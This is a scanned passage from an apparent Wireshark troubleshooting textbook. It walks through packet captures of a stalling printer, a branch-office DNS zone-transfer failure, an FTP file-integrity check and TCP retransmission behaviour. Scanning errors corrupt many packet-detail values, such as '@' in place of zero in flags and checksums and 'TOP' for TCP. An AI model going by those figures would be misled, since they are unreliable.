issue lay outside our network infrastructure. 

Sometimes discovering that a problem isn’t really ours not only relieves 
stress but also saves face when management comes knocking. I have fought 
with many ISPs, vendors, and software companies who claim that an issue is 
not their fault, but as you’ve just seen, packets don’t lie. 


Inconsistent Printer 


inconsistent_printer 
.pcapng 


In the next scenario, an IT help desk administrator is having trouble resolv- 
ing a printing issue. Users in the sales department are reporting that the 
high-volume printer is malfunctioning. When a user sends a large print job 
to the printer, it will print several pages and then stop printing before the 
job is done. Multiple driver configuration changes have been attempted but 
have been unsuccessful. The help desk staff would like you to ensure that 
this isn’t a network problem. 


Tapping into the Wire 


The common thread in this problem is the printer, so we begin by placing 
our sniffer as close to the printer as we can. While we can’t install Wireshark 
on the printer itself, the switches used in this network are advanced layer 3 
switches, so we can use port mirroring. We’ll mirror the port used by the 
printer to an empty port and connect a laptop with Wireshark installed to 
this port. Once this setup is complete, we’ll have a user send a large print 
job to the printer so we can monitor the output. The resulting capture file 
is inconsistent_printer.pcapng. 


Analysis 


A TCP handshake between the network workstation sending the print job 
(172.16.0.8) and the printer (172.16.0.253) initiates the connection at the 
start of the capture file. Following the handshake, a 1,460-byte TCP data 
packet @ is sent to the printer in packet 4 (Figure 10-25). The amount of data 
can be seen in the far right side of the Info column in the Packet List pane or 
at the bottom of the TCP header information in the Packet Details pane. 


Basic Real-World Scenarios 219 





M Wireshark . Packet 4 - inconsistent_printer = oO x 





> Frame 4: 1514 bytes on wire (12112 bits), 1514 bytes captured (12112 bits) 
> Ethernet II, Src: HewlettP_bf:91:ee (@0:25:b3:bf:91:ee), Dst: HewlettP_77:bd:ba (@0:23:7d:77:bd:ba) 
> Internet Protocol Version 4, Src: 172.16.0.8, Dst: 172.16.0.253 
V Transmission Control Protocol, Src Port: 3527 (3527), Dst Port: 9100 (9100), Seq: 1, Ack: 1, Len: 1460 
Source Port: 3527 
Destination Port: 9100 
[Stream index: @] 
[TCP Segment Len: 1460] 
Sequence number: 1 (relative sequence number) 
[Next sequence number: 1461 (relative sequence number) ] 
Acknowledgment number: 1 (relative ack number) 
Header Length: 2@ bytes 
> Flags: @x@1@ (ACK) 
Window size value: 16425 
[Calculated window size: 65700] 
[Window size scaling factor: 4] 
> Checksum: @xSef4 [validation disabled] 
Urgent pointer: @ 
> [SEQ/ACK analysis] 
V Data (1460 bytes)@ 
Data: 1b252d31323334355840504a4c20534554205245543d4f4e... 
(Length: 1460] 











No.: 4° Time: 0.001637 * Source: 172.16.0.8 » Destination: 172.16.0.253 > Protocol: TCP « Length: 1514 « Info: 3527 — 9100 [ACK] Seq=i Ack=1 Win=65700 Len=1460 








Figure 10-25: Data being transmitted to the printer over TCP 


Following packet 4, another data packet is sent containing 1,460 bytes 
of data ®, as you can see in Figure 10-26. This data is acknowledged by the 
printer in packet 6 @. 













Destination Protocol 





Length Info 





3 0.000201 172.16.0.8 172.16.0.253 TCP 54 3527 > 9100 [ACK] Seq=1 Ack=1 Win=65700 Len=@ 





o 

4 0.001637 172.16.0.8 172.16.0.253 TCP 1514 3527 + 9100 [ACK] Seq=1 Ack=1 Win=65700 Len=1460 

5 0.001646 172.16.0.8 172.16.0.253 TCP 1514 3527 + 9100 [ACK] Seq=1461 Ack=1 Win=6570@ Len=1460 (1) 
(2) 6 0.005493 172.16.0.253 172.16.0.8 TCP 160 9100 + 3527 [PSH, ACK] Seq=1 Ack=2921 Win=7888 Len=106 

7 @.0@5561 172.16.0.8 172.16.0.253 TCP 1514 3527 + 9100 [ACK] Seq=2921 Ack=107 Win=65592 Len=1460 

8 0.005571 172.16.0.8 172.16.0.253 TCP 1514 3527 + 9100 [ACK] Seq=4381 Ack=107 Win=65592 Len=1460 

9 0.005578 172.16.0.8 172.16.0.253 TCP 1514 3527 + 9100 [ACK] Seq=5841 Ack=107 Win=65592 Len=1460 

10 0.005585 172.16.0.8 172.16.0.253 TCP 1514 3527 + 9100 [ACK] Seq=7301 Ack=107 Win=65592 Len=1460 

11 0.033569 172.16.0.253 172.16.0.8 TCP 60 9100 + 3527 [ACK] Seq=107 Ack=8761 Win=6144 Len=@ 

12 0.033626 172.16.0.8 172.16.0.253 TCP 1514 3527 + 9100 [ACK] Seq=8761 Ack=107 Win=65592 Len=1460 

13 0.033640 172.16.0.8 172.16.0.253 TCP 1514 3527 + 9100 [ACK] Seq=10221 Ack=107 Win=65592 Len=1460 

14 0.033649 172.16.0.8 172.16.0.253 TCP 1514 3527 + 9100 [ACK] Seq=11681 Ack=107 Win=65592 Len=1460 

15 0.033658 172.16.0.8 172.16.0.253 TCP 1514 3527 + 9100 [ACK] Seq=13141 Ack=107 Win=65592 Len=1460 

16 0.098314 172.16.0.253 172.16.0.8 TCP 60 9100 > 3527 [ACK] Seq=107 Ack=14601 Win=4400 Len=@ 








Figure 10-26: Normal data transmission and TCP acknowledgments 


The flow of data continues until the last few packets in the capture are 
reached. Packet 121 is a TCP retransmission packet, and a sign of trouble, 
as shown in Figure 10-27. 

A TOP retransmission packet is sent when one device sends a TCP 
packet to a remote device and the remote device doesn’t acknowledge 
the transmission. Once a retransmission threshold is reached, the send- 
ing device assumes that the remote device did not receive the data, and it 
retransmits the packet. This process is repeated a few times before commu- 
nication effectively stops. 
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| M Wireshark - Packet 121 - inconsistent_printer - x 











Frame 121: 1146 bytes on wire (9168 bits), 1146 bytes captured (9168 bits) 
Ethernet II, Src: HewlettP_bf:91:ee (@0:25:b3:bf:91:ee), Dst: HewlettP_77:bd:ba (@0:23:7d:77:bd:ba) 
Internet Protocol Version 4, Src: 172.16.@.8, Dst: 172.16.0.253 
v Transmission Control Protocol, Src Port: 3527 (3527), Dst Port: 9100 (9100), Seq: 118261, Ack: 107, Len: 1092 
Source Port: 3527 
Destination Port: 9100 
[Stream index: @] 
[TCP Segment Len: 1092] 
Sequence number: 118261 (relative sequence number) 
[Next sequence number: 119353 (relative sequence number) ] 
Acknowledgment number: 107 (relative ack number) 
Header Length: 20 bytes 
Flags: 0x010 (ACK) 
Window size value: 16398 
[Calculated window size: 65592] 
[Window size scaling factor: 4] 
Checksum: @x5d84 [validation disabled] 
Urgent pointer: @ 
v [SEQ/ACK analysis] @ 
[iRTT: @.000201000 seconds] 
[Bytes in flight: 1092] 
v [TCP Analysis Flags] 
[Expert Info (Note/Sequence): This frame is a (suspected) retransmission] 
[The RTO for this segment was: 5.502585000 seconds] @ 
[RTO based on delta from frame: 12218 
[Expert Info (Warn/Sequence): TCP window specified by the receiver is now completely full] 
Retransmitted TCP segment data (1092 bytes) 











No.: 121 + Time: 20.619620 * Source: 172.16.0.8 * Destination: 172.16.0.253 * Protocol: TCP ..CP Window Full] [TCP Retransmission] 3527 — 9100 [ACK] Seq=118261 Ack=107 Win=65592 Len: 


Heb 











Figure 10-27: These TCP retransmission packets are a sign of a potential problem. 


In this scenario, the retransmission is sent from the client workstation to 
the printer because the printer failed to acknowledge the transmitted data. 
As shown in Figure 10-27, if you expand the SEQ/ACK analysis portion of the 
TCP header ® along with the additional information beneath it, you can view 
the details of why this is a retransmission. According to the details processed 
by Wireshark, packet 121 is a retransmission of packet 120 ©. Additionally, 
the retransmission timeout (RTO) for the retransmitted packet was around 
5.5 seconds @. 

When analyzing the delay between packets, you can change the time 
display format to suit your situation. In this case, because we want to see 
how long the retransmissions occurred after the previous packet was sent, 
change this option by selecting View > Time Display Format and select 
Seconds Since Previous Captured Packet. Then, as shown in Figure 10-28, 
you can clearly see that the retransmission in packet 121 occurs 5.5 seconds 
after the original packet (packet 120) is sent @. 





|No, Time @ Destination Protocol Length Info 






Figure 10-28: Viewing the time between packets is useful for troubleshooting. 


The next packet is another retransmission of packet 120. The RTO of 
this packet is 11.10 seconds, which includes the 5.5 seconds from the RTO 
of the previous packet. A look at the Time column of the Packet List pane 
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tells us that this retransmission was sent 5.6 seconds after the previous 
retransmission. This appears to be the last packet in the capture file, and, 
not coincidentally, the printer stops printing at approximately this time. 

In this scenario, we have the benefit of dealing with only two devices 
inside our own network, so we just need to determine whether the client 
workstation or the printer is to blame. We can see that data is flowing 
correctly for quite some time, and then at some point, the printer simply 
stops responding to the workstation. The workstation gives its best effort 
to get the data to its destination, as evidenced by the retransmissions, but 
the effort is met with no response. This issue is reproducible and happens 
regardless of which computer sends a print job, so we assume the printer is 
the source of the problem. 

After further analysis, we find that the printer’s RAM is malfunctioning. 
When large print jobs are sent to the printer, it prints only a certain number 
of pages, likely until certain regions of memory are accessed. At that point, 
the memory issue causes the printer to be unable to accept any new data, 
and it ceases communication with the host transmitting the print job. 


Lessons Learned 


Although this printer problem wasn’t the result of a network issue, we were 
able to use Wireshark to pinpoint the problem. Unlike previous scenarios, 
this one centered solely on TCP traffic. Since TCP is concerned about reli- 
ably transmitting data, it often leaves us with useful information when two 
devices simply stop communicating. 

In this case, when communication abruptly stopped, we were able to pin- 
point the location of the problem based on nothing more than TCP’s built-in 
retransmission functionality. As we continue through our scenarios, we will 
often rely on functionality like this to troubleshoot more complex issues. 


No Branch Office Connectivity 


stranded_clientside 


-pcapng 


stranded_branchdns 
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In this scenario, we have a company with a central headquarters office and 
a newly deployed remote branch office. The company’s IT infrastructure 
is mostly contained within the central office using a Windows server-based 
domain. This infrastructure is supported by a domain controller, a DNS 
server, and an application server used to host web-based software used daily 
by the organization’s employees. The branch office is connected by routers 
to establish a wide area network (WAN) link. Inside the branch office are 
user workstations and a slave DNS server that should receive its resource 
record information from the upstream DNS server at the corporate head- 
quarters. Figure 10-29 shows a map of each office and how the offices are 
linked together. 
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Branch Slave DNS Server HQ Master DNS Server 
172.16.16.251 172.16.16.250 





Figure 10-29: The relevant components for the stranded branch office issue 


The deployment team is rolling out new infrastructure to the branch 
office when it finds that no one can access the intranet web application 
server from the branch office network. This server is located at the main 
office and is accessed through the WAN link. This connectivity issue affects 
all users at the branch office. All users can access the internet and other 
resources within the branch. 


Tapping into the Wire 


Because the problem lies in communication between the main and branch 
offices, there are a couple of places we could collect data to start tracking 
down the problem. The problem could be with the clients inside the branch 
office, so we’ll start by port mirroring one of those computers to check what it 
sees on the wire. Once we’ve collected that information, we can use it to point 
toward other collection locations that might help solve the problem. The ini- 
tial capture file obtained from one of the clients is stranded_clientside.pcapng. 


Analysis 


As shown in Figure 10-30, our first capture file begins when the user at the 

workstation address 172.16.16.101 attempts to access an application hosted on 
the headquarter’s app server, 172.16.16.200. This capture contains only two 
packets. It appears as though a DNS request is sent to 172.16.16.251 ® for the 
A record ® for appserver @ in the first packet. This is the DNS name for the 
server at 172.16.16.200 in the central office. 

As you can see in Figure 10-31, the response to this packet is a server 
failure ®, which indicates that something is preventing the DNS query 
from resolving successfully. Notice that this packet does not answer the 
query @ since it is an error (server failure). 


Basic Real-World Scenarios 223 


224 


Chapter 10 





@ Wireshark Packet 1 - stranded_clientside - o x 





Frame 1: 69 bytes on wire (552 bits), 69 bytes captured (552 bits) 
Ethernet II, Src: IntelCor_5b:7d:4a (@@:21:6a:5b:7d:4a), Dst: IntelCor_5b:7d:4a (@@:21:6a:5b:7d:4a) 
Internet Protocol Version 4, Src: 172.16.16.101, Dst: 172.16.16.251@ 
User Datagram Protocol, Src Port: 56779 (56779), Dst Port: 53 (53) 
V Domain Name System (query) 
Response In: 2 
Transaction ID: @x@003 
Flags: @x@10@ Standard query 
Questions: 1 
Answer RRs: @ 
Authority RRs: @ 
Additional RRs: @ 
vV Queries 
YV appserver: type A, class IN 
Name: appserver (2) 
[Name Length: 9] 
[Label Count: 1] 
Type: A (Host Address) (1) @ 
Class: IN (0x0001) 











No.: 1 * Time: 0.000000 « Source: 172.16.16.101 + Destination: 172.16.16.251 * Protocol: DNS « Length: 69 - Info: Standard query Qx0003 A appserver 


re 








Figure 10-30: Communication begins with a DNS query for the appserver A record. 





M Wireshark - Packet 2 - stranded_clientside = o xX 





Frame 2: 69 bytes on wire (552 bits), 69 bytes captured (552 bits) 
Ethernet II, Src: IntelCor_5b:7d:4a (00:21:6a:5b:7d:4a), Dst: IntelCor_5b:7d:4a (00:21:6a:5b:7d:4a) 
Internet Protocol Version 4, Src: 172.16.16.251, Dst: 172.16.16.101 
User Datagram Protocol, Src Port: 53 (53), Dst Port: 56779 (56779) 
Y Domain Name System (response) 
[Request In: 1] 
[Time: @.@00346000 seconds] 
Transaction ID: @x@@@3 
Flags: @x8182 Standard query response, Server failure (1) 
Questions: 1 
Answer RRs: @@ 
Authority RRs: @ 
Additional RRs: @ 
vV Queries 
YV appserver: type A, class IN 
Name: appserver 
[Name Length: 9] 
[Label Count: 1] 
Type: A (Host Address) (1) 
Class: IN (@x@0@1) 











No.: 2 * Time: 0.000346 - Source: 172.16.16.251 * Destination: 172.16.16.101 * Protocol: DNS « Length: 69 - Info: Standard query response 0x0003 Server failure A appserver 


Close Help 








Figure 10-31: The query response indicates a problem upstream. 


We now know that the communication problem is related to some DNS 
issue. Because the DNS queries at the branch office are resolved by the on- 
site DNS server at 172.16.16.251, that’s our next stop. 

To capture the appropriate traffic from the branch DNS server, we’ll 
leave our sniffer in place and simply change the port-mirroring assignment 
so that the DNS server’s traffic, rather than the workstation’s traffic, is now 
mirrored to our sniffer. The result is the file stranded_branchdns.pcapng. 

As shown in Figure 10-32, this capture begins with the query and 
response we saw earlier, along with one additional packet. This additional 


packet looks a bit odd because it is attempting to communicate with the pri- 
mary DNS server at the central office (172.16.16.250) @ on the standard DNS 


server port 53 ®, but it is not the UDP @ we're used to seeing. 


4 Wireshark - Packet 3 - stranded_branchdns 


Frame 3: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) 
Ethernet II, Src: Vmware_39:42:7@ (@0:0c:29:39:42:70), Dst: Vmware_3d:10:f5 (@@:0c:29:3d:10:f5) 
Internet Protocol Version 4, Src: 172.16.16.251, Dst: 172.16.16.250 @ 
@ Transmission Control Protocol, Src Port: 49160 (49160), Dst Port: 53 (53), Seq: @, Len: @ 
Source Port: 49160 
Destination Port: 53 @ 
[Stream index: @] 
[TCP Segment Len: @] 
Sequence number: @ (relative sequence number) 
Acknowledgment number: @ 
Header Length: 32 bytes 
Flags: @x@@2 (SYN) 
Window size value: 8192 
[Calculated window size: 8192] 
Checksum: @xbc3@ [validation disabled] 
Urgent pointer: @ 














Options: (12 bytes), Maximum segment size, No-Operation (NOP), Window scale, No-Operation (NOP), No-Operation (NOP), SACK permitted 





No.: 3 * Time: 0.000120 > Source: 172.16.16.251 - Destination: 172.16.16.250 - Protocol: TOP « Length: 66 - Info: 49160 — 53 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=256 SACK_PERM=1 


Figure 10-32: This SYN packet uses port 53 but is not UDP. 





To figure out the purpose of this packet, recall our discussion of DNS 
in Chapter 9. DNS usually uses UDP, but it uses TCP when the response 
to a query exceeds a certain size. In that case, we’ll see some initial UDP 
traffic that triggers the TCP traffic. TCP is also used for DNS during a zone 
transfer, when resource records are transferred between DNS servers, which 


is likely the case here. 


The DNS server at the branch office location is a slave to the DNS 
server at the central office, meaning that it relies on it in order to receive 
resource records. The application server that users in the branch office are 
trying to access is located inside the central office, which means that the 
central office DNS server is authoritative for that server. For the branch 
office server to resolve a DNS request for the application server, the DNS 
resource record for that server must be transferred from the central office 
DNS server to the branch office DNS server. This is likely the source of the 


SYN packet in this capture file. 


The lack of response to this SYN packet tells us that the DNS problem 


is the result of a failed zone transfer between the branch and central office 
DNS servers. Now we can go one step further by figuring out why the zone 
transfer is failing. The possible culprits for the issue can be narrowed down 
to the routers between the offices or the central office DNS server itself. To 
determine which is at fault, we can sniff the traffic of the central office DNS 
server to see whether the SYN packet is making it to the server. 

I haven’t included a capture file for the central office DNS server traffic 
because there was none. The SYN packet never reached the server. Upon 
dispatching technicians to review the configuration of the routers connect- 
ing the two offices, it was found that inbound port 53 traffic on the central 
office router was configured to allow only UDP traffic and to block inbound 
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TCP traffic. This simple misconfiguration prevented zone transfers from 
occurring between servers, thus preventing clients within the branch office 
from resolving queries for devices in the central office. 


Lessons Learned 


You can learn a lot about investigating network communication issues by 
watching crime dramas. When a crime occurs, the detectives begin by inter- 
viewing those most affected. Leads that result from that examination are 
pursued, and the process continues until a culprit is found. 

In this scenario, we began by examining the target (the workstation) 
and established leads by finding the DNS communication issue. Our leads 
led us to the branch DNS server, then to the central DNS server, and finally 
to the router, which was the source of the problem. 

When performing analysis, try thinking of packets as clues. The clues 
don’t always tell you who committed the crime, but they often take you to 
the culprit eventually. 


Software Data Corruption 


tickedoffdeveloper 


-pcapng 
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Some of the most frequent arguments in IT are between developers and net- 
work administrators. Developers always blame poor network engineering and 
malfunctioning equipment for program errors. In turn, network administra- 
tors tend to blame bad code for network errors and slow communication. 

In this scenario, a programmer has developed an application for track- 
ing the sales at multiple stores and reporting back to a central database. 
To save bandwidth during normal business hours, the application does 
not update in real time. Data is accumulated throughout the day and then 
transmitted at night as a comma-separated value (CSV) file to be inserted 
into the central database. 

This newly developed application isn’t functioning correctly. The files 
sent from the stores are being received by the server, but the data being 
inserted into the database is not correct. Sections are missing, data is in the 
wrong place, and some portions of the data are missing. Much to the dis- 
may of the network administrator, the programmer blames the network for 
the issue. They are convinced that the files are becoming corrupted while 
in transit from the stores to the central data repository. Our goal is to deter- 
mine whether they are right. 


Tapping into the Wire 


To collect the data we need, we can capture packets at one of the stores or 
at the central office. Because the issue is affecting all the stores, it should 
occur at the central office if it is network related—that is the only common 
thread among all stores (other than the software itself). 

The network switches support port mirroring, so we’ll mirror the port 
the server is plugged into and sniff its traffic. The traffic capture will be iso- 
lated to a single instance of a store uploading its CSV file to the collection 
server. This result is the capture file teckedoffdeveloper.pcapne. 


Analysis 


We know nothing about the application the programmer has developed, 
other than the basic flow of information on the network. The capture file 
appears to start with some FTP traffic, so we’ll investigate to see whether it 
is indeed the mechanism that is transporting this file. 

Looking at the packet list first (Figure 10-33), we can see that 
172.16.16.128 ® initiates communication to 172.16.16.121 @ with a 
TCP handshake. Since 172.16.16.128 initiates the communication, we 
can assume that it is the client and that 172.16.16.121 is the server that 
compiles and processes the data. Following the handshake completion, 
we begin seeing FTP requests from the client and responses from the 





server ®. 
No. Time Source Destination Protocol Length Info 
1 0.000000 172.16.16.128 @ 172.16.16.121 @ TCP 66 2555 > 21 [SYN] Seq=@ Win=8192 Len=@ MSS=1460 WS=4 SACK_PERM=1 
2 6.000071 172.16.16.121 172.16.16.128 TCP 66 21 + 2555 [SYN, ACK] Seq=@ Ack=1 Win=8192 Len=@ MSS=146@ WS=256 SACK_PERM=1 
3 0.000242 172.16.16.128 172.16.16.121 TCP 60 2555 > 21 [ACK] Seq=1 Ack=1 Win=17520 Len=0 
4 0.002749 172.16.16.121 172.16.16.128 FTP 96 Response: 220 FileZilla Server version 0.9.34 beta 
5 0.002948 172.16.16.128 172.16.16.121 FTP o” Request: USER salesxfer 
6 0.003396 172.16.16.121 172.16.16.128 FTP 91 Response: 331 Password required for salesxfer 
7 0.003514 172.16.16.128 172.16.16.121 FTP 69 Request: PASS pĝsswðrd 
8 0.004862 172.16.16.121 172.16.16.128 FTP 69 Response: 230 Logged on 








Figure 10-33: The initial communication helps identify the client and server. 


We know that some transfer of data should be happening here, so we 
can use our knowledge of FTP to locate the packet where this transfer 
begins. The FTP connection and data transfer are initiated by the client, 
so from 172.16.16.128 we should see the FTP STOR command, which is used 
to upload data to an FTP server. The easiest way to find this command is to 
build a filter. 

Because this capture file is littered with FTP request commands, rather 
than sorting through the hundreds of protocols and options in the expres- 
sion builder, we can build the filter we need directly from the Packet List 
pane. To do so, we first need to select a packet with an FTP request com- 
mand present. We’ll choose packet 5, since it’s near the top of our list. Then 
expand the FTP section in the Packet Details pane and expand the USER 
section. Right-click the Request Command: USER field and select Prepare 
a Filter. Finally, choose Selected. 

This will prepare a filter for all packets that contain the FTP USER request 
command and put it in the filter dialog. Next, as shown in Figure 10-34, 
edit the filter by replacing the word USER with the word STOR ®. 




















l F | ftp.request.command == "STOR" (1) [x] -] Expression. + 
No. Time Source Destination Protocol Length Info 
| @ 64 4.369659 172.16.16.128 172.16.16.121 FIP 83 Request: STOR store4829-03222010.csv 





Figure 10-34: This filter helps identify where data transfer begins. 


We could narrow down the filter further by providing the client’s IP 
address and specifying it as the source of the connection by adding && 
ip.src == 172.16.16.128 to the filter, but since this capture file is already 
isolated to a single client, that isn’t necessary here. 
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Now apply this filter by pressing ENTER, and you'll see that only one 
instance of the STOR command exists in the capture file, at packet 64 ®. 

Now that we know where data transfer begins, click the packet to select 
it and clear the filter by clicking the X button above the Packet List pane. 
Your screen should now show all the packets with packet 64 selected. 

Examining the capture file beginning with packet 64, we see that this 
packet specifies the transfer of the file store4829-03222010.csv @, as shown in 
Figure 10-35. 





M Wireshark - Packet 64 - tickedoffdeveloper = o x 





Frame 64: 83 bytes on wire (664 bits), 83 bytes captured (664 bits) 
Ethernet II, Src: IntelCor_5b:7d:4a (@@:21:6a:5b:7d:4a), Dst: Vmware_ea:17:be (@@:@c:29:ea:17:be) 
Internet Protocol Version 4, Src: 172.16.16.128, Dst: 172.16.16.121 
Transmission Control Protocol, Src Port: 2555 (2555), Dst Port: 21 (21), Seq: 222, Ack: 875, Len: 29 
v File Transfer Protocol (FTP) 
V STOR store4829-@3222010.csv\r\n 
Request command: STOR 
Request arg: store4829-@3222010.csv @ 





No.: 64» Time: 4.369659 * Source: 172.16.16.128 > Destination: 172.16.16.121 ' Protocol: FTP ° Length: 83 > Info: Request: STOR store4829-03222010.csv 








Figure 10-35: The CSV file is being transferred using FTP. 


The packets following the STOR command use a different port but are 
identified as part of an FTP-DATA transmission. We’ve verified that data is 
being transferred, but we have yet to establish whether the programmer is 
right or wrong. To do so, we need to show whether the contents of the file 
are intact after traversing the network, so we’ll proceed to extract the trans- 
ferred file from the captured packets. 

When a file is transferred across a network in an unencrypted format, 
it is broken down into segments and reassembled at its destination. In this 
scenario, we captured packets as they reached their destination but before 
they were reassembled. The data is all there; we simply need to reassemble 
it by extracting the file as a data stream. To perform the reassembly, select 
any of the packets in the FTP-DATA stream (such as packet 66) and click 
Follow TCP Stream. The results are displayed as shown in Figure 10-36. 
This looks like a normal CSV-formatted text file containing sales order data. 

The data appears because it is being transferred in plaintext over FTP, 
but we can’t be sure that the file is intact based on the stream alone. To 
reassemble the data so as to extract it in its original format, click the Save 
As button and specify the name of the file as displayed in packet 64. Then 
click Save. 

The result of this save operation should be a CSV file that is an exact 
byte-level copy of the file originally transferred from the store system. The 
file can be verified by comparing the MD5 hash of the original file with 
that of the extracted file. The MD5 hashes should be the same, as shown 
in Figure 10-37. 








M Wireshark - Follow TCP Stream (tcp.stream eq 1)... — o x 





StoreID,SKF,QTY 
4829, 808966,5 
4829 ,893932,7 
4829 ,638384,2 
4829, 260513,4 
4829, 697840,2 
4829, 706390,1 
4829, 438522,9 
4829, 305646,6 
4829, 626872,6 
4829 ,462192,2 
4829, 235990,1 
4829, 354072,7 
4829, 314705,1 
4829, 137917,6 
4829, 752470,9 v 


15 chent pkt(5), 0 server pkt(s), 0 turns. 
Entire conversation (19 kB) | Show data as | ASCII v| Stream | 1 ($ 



















































































Figure 10-36: The TCP stream shows what appears to 
be the data being transferred. 





|] store4829-03222010.csv Properties x 
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Name Hash Value 
CRC32 FD38F576 
: 442 
SHA-1 65769D35E20F3749461C4A6FDEA9AC37906E5869 
Settings 
Hash Comparison: 
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Figure 10-37: The MD5 hashes of the original file 
and the extracted file are equivalent. 
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Once the files are compared, we can state that the network is not to 
blame for the database corruption occurring within the application. The 
file transferred from the store to the collection server is intact when it 
reaches the server, so any corruption must be occurring when the file is 
processed by the application on the server side. 


Lessons Learned 


One great thing about packet-level analysis is that you don’t need to deal with 
the clutter of applications. Poorly coded applications greatly outnumber the 
good ones, but at the packet level, none of that matters. In this case, the 
programmer was concerned about all of the mysterious components their 
application was dependent upon, but at the end of the day, their compli- 
cated data transfer that took hundreds of lines of code is still no more than 
FTP, TCP, and IP. Using what we know about these basic protocols, we were 
able to ensure the communication process was flowing correctly and even 
extract files to prove the soundness of the network. It’s crucial to remem- 
ber that no matter how complex the issue at hand, it still comes down to 
packets. 


Final Thoughts 


Chapter 10 


In this chapter, we’ve covered several scenarios in which packet analysis 
allowed us to gain a better understanding of problematic communication. 
Using basic analysis of common protocols, we were able to track down and 
solve network problems in a timely manner. While you may not encounter 
exactly the same scenarios on your network, the analysis techniques pre- 
sented here should prove useful as you analyze your own unique problems. 


FIGHTING A SLOW NETWORK 


As a network administrator, much of 
your time will be spent fixing computers 
and services that are running slower than 





they should be. But just because someone 
says that the network is running slowly doesn’t mean 
that the network is to blame. 


Before you begin to tackle a slow network, you first need to determine 
whether the network is in fact running slowly. You'll learn how to do that in 
this chapter. 

We’ll begin by discussing the error-recovery and flow-control features 
of TCP. Then we’ll explore how to detect the source of slowness on a net- 
work. Finally, we’ll look at ways of baselining networks and the devices 
and services that run on them. Once you have completed this chapter, you 
should be much better equipped to identify, diagnose, and troubleshoot 
slow networks. 


Multiple techniques can be used to troubleshoot slow networks. I’ve chosen to focus 
primarily on TCP because most of the time, it is all you'll have to work with. TCP 
allows you to perform passive retrospective analysis rather than generate additional 
traffic (unlike ICMP). 


TCP Error-Recovery Features 


tcp_retransmissions 
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TCP’s error-recovery features are our best tools for locating, diagnosing, 
and eventually repairing high latency on a network. In terms of computer 
networking, latency is a measure of delay between a packet’s transmission 
and its receipt. 

Latency can be measured as one-way (from a single source to a desti- 
nation) or as round-trip (from a source to a destination and back to the 
original source). When communication between devices is fast, and the 
amount of time it takes a packet to get from one point to another is low, the 
communication is said to have low latency. Conversely, when packets take a 
significant amount of time to travel between a source and destination, the 
communication is said to have high latency. High latency is the number one 
enemy of all network administrators who value their sanity (and their jobs). 

In Chapter 8, we discussed how TCP uses sequence and acknowledg- 
ment numbers to ensure the reliable delivery of packets. In this chapter, 
we'll look at sequence and acknowledgment numbers again to see how TCP 
responds when high latency causes these numbers to be received out of 
sequence (or not received at all). 


TCP Retransmissions 


The ability of a host to retransmit packets is one of TCP’s most fundamental 
error-recovery features. It is designed to combat packet loss. 

There are many possible causes of packet loss, including malfunction- 
ing applications, routers under a heavy traffic load, or temporary service 
outages. Things move fast at the packet level, and often the packet loss is 
temporary, so it’s crucial for TCP to be able to detect and recover from 
packet loss. 

The primary mechanism for determining whether the retransmission 
of a packet is necessary is the retransmission timer. This timer is responsible 
for maintaining a value called the retransmission timeout (RTO). Whenever 
a packet is transmitted using TCP, the retransmission timer starts. This 
timer stops when an ACK for that packet is received. The time between the 
packet transmission and receipt of the ACK packet is called the round-trip 
time (RTT). Several of these times are averaged, and that average is used to 
determine the final RTO value. 


Until an RTO value is determined, the transmitting operating system 
relies on its default configured RTT setting, which is issued for the initial 
communication between hosts. This is then adjusted based on the RTT of 
received packets to determine the RTO value. 

Once the RTO value has been determined, the retransmission timer 
is used on every transmitted packet to determine whether packet loss has 
occurred. Figure 11-1 illustrates the TCP retransmission process. 


No Response = Connection Terminated 


Figure 11-1: Conceptual view of the TCP retransmission process 
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Transmitting Host Recipient Host 


When a packet is sent, but the recipient has not sent back a TCP ACK 
packet, the transmitting host assumes that the original packet was lost 
and retransmits the original packet. When the retransmission is sent, 
the RTO value is doubled; if no ACK packet is received before that value 
is reached, another retransmission will occur. If this retransmission also 
does not receive an ACK response, the RTO value is doubled again. This 
process will continue, with the RTO value being doubled for each retrans- 
mission, until an ACK packet is received or until the sender reaches the 
maximum number of retransmission attempts it is configured to send. 
More details about this process are described in RFC6298. 

The maximum number of retransmission attempts depends on 
the value configured in the transmitting operating system. By default, 
Windows hosts make a maximum of five retransmission attempts. Most 
Linux hosts default to a maximum of 15 attempts. This option is configu- 
rable in either operating system. 
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For an example of TCP retransmission, open the file tcp_retransmissions 
.pcapng, which contains six packets. The first packet is shown in Figure 11-2. 














@ Wireshark - Packet 1 - tcp_retransmissions — x 








Frame 1: 706 bytes on wire (5648 bits), 706 bytes captured (5648 bits) 
Ethernet II, Src: Runtop_e1:5a:8@ (@0:20:78:e1:5a:8@), Dst: NetworkG_10:22:1b (@0:00:65:10:22:1b) | 
Internet Protocol Version 4, Src: 10.3.30.1, Dst: 10.3.71.7 (1) 
V Transmission Control Protocol, Src Port: 1048 (1048), Dst Port: 1043 (1043), Seq: 1, Ack: 1, Len: 648 
Source Port: 1648 
Destination Port: 1043 
Stream index: @] 
TCP Segment Len: 648] 
Sequence number: 1 (relative sequence number) 
Next sequence number: 649 (relative sequence number) ] 
Acknowledgment number: 1 (relative ack number) 
Header Length: 2@ bytes 
Flags: @x@18 (PSH, ACK) @ 
Window size value: 8760 
Calculated window size: 8760] 
Window size scaling factor: -1 (unknown)] 
Checksum: @x9b5f [validation disabled] 
Urgent pointer: @ 
SEQ/ACK analysis] 
V Data (648 bytes) @ 
Data: 7@3ece4b27b1db9282dea4181d0d86F@735041b579cd2edd... 
Length: 648] 








No.: 1 + Time: 0.000000 « Source: 10.3.30.1 * Destination: 10.3.71.7 + Protocol: TOR.43 [PSH, ACK] Seq=1 Ack=1 Win=8760 Len=648 [ETHERNET FRAME CHECK SEQUENCE IN 











Figure 11-2: A simple TCP packet containing data 


This packet is a TCP PSH/ACK packet ® containing 648 bytes of data © 
that are sent from 10.3.30.1 to 10.3.71.7 ®. This is a typical data packet. 

Under normal circumstances, you would expect to see a TCP ACK 
packet in response fairly soon after the first packet is sent. In this case, 
however, the next packet is a retransmission. You can tell this by look- 
ing at the packet in the Packet List pane. The Info column will clearly say 
[TCP Retransmission], and the packet will appear with red text on a black 
background. Figure 11-3 shows examples of retransmissions listed in the 
Packet List pane. 


1 0.000000 - . -71. 706 1048 + 1043 [PSH, ACK] Seq=1 Ack=1 Win=8760 Len=648 [ETHERNET FRAME CHECK SEQUENCE INCORRECT] 
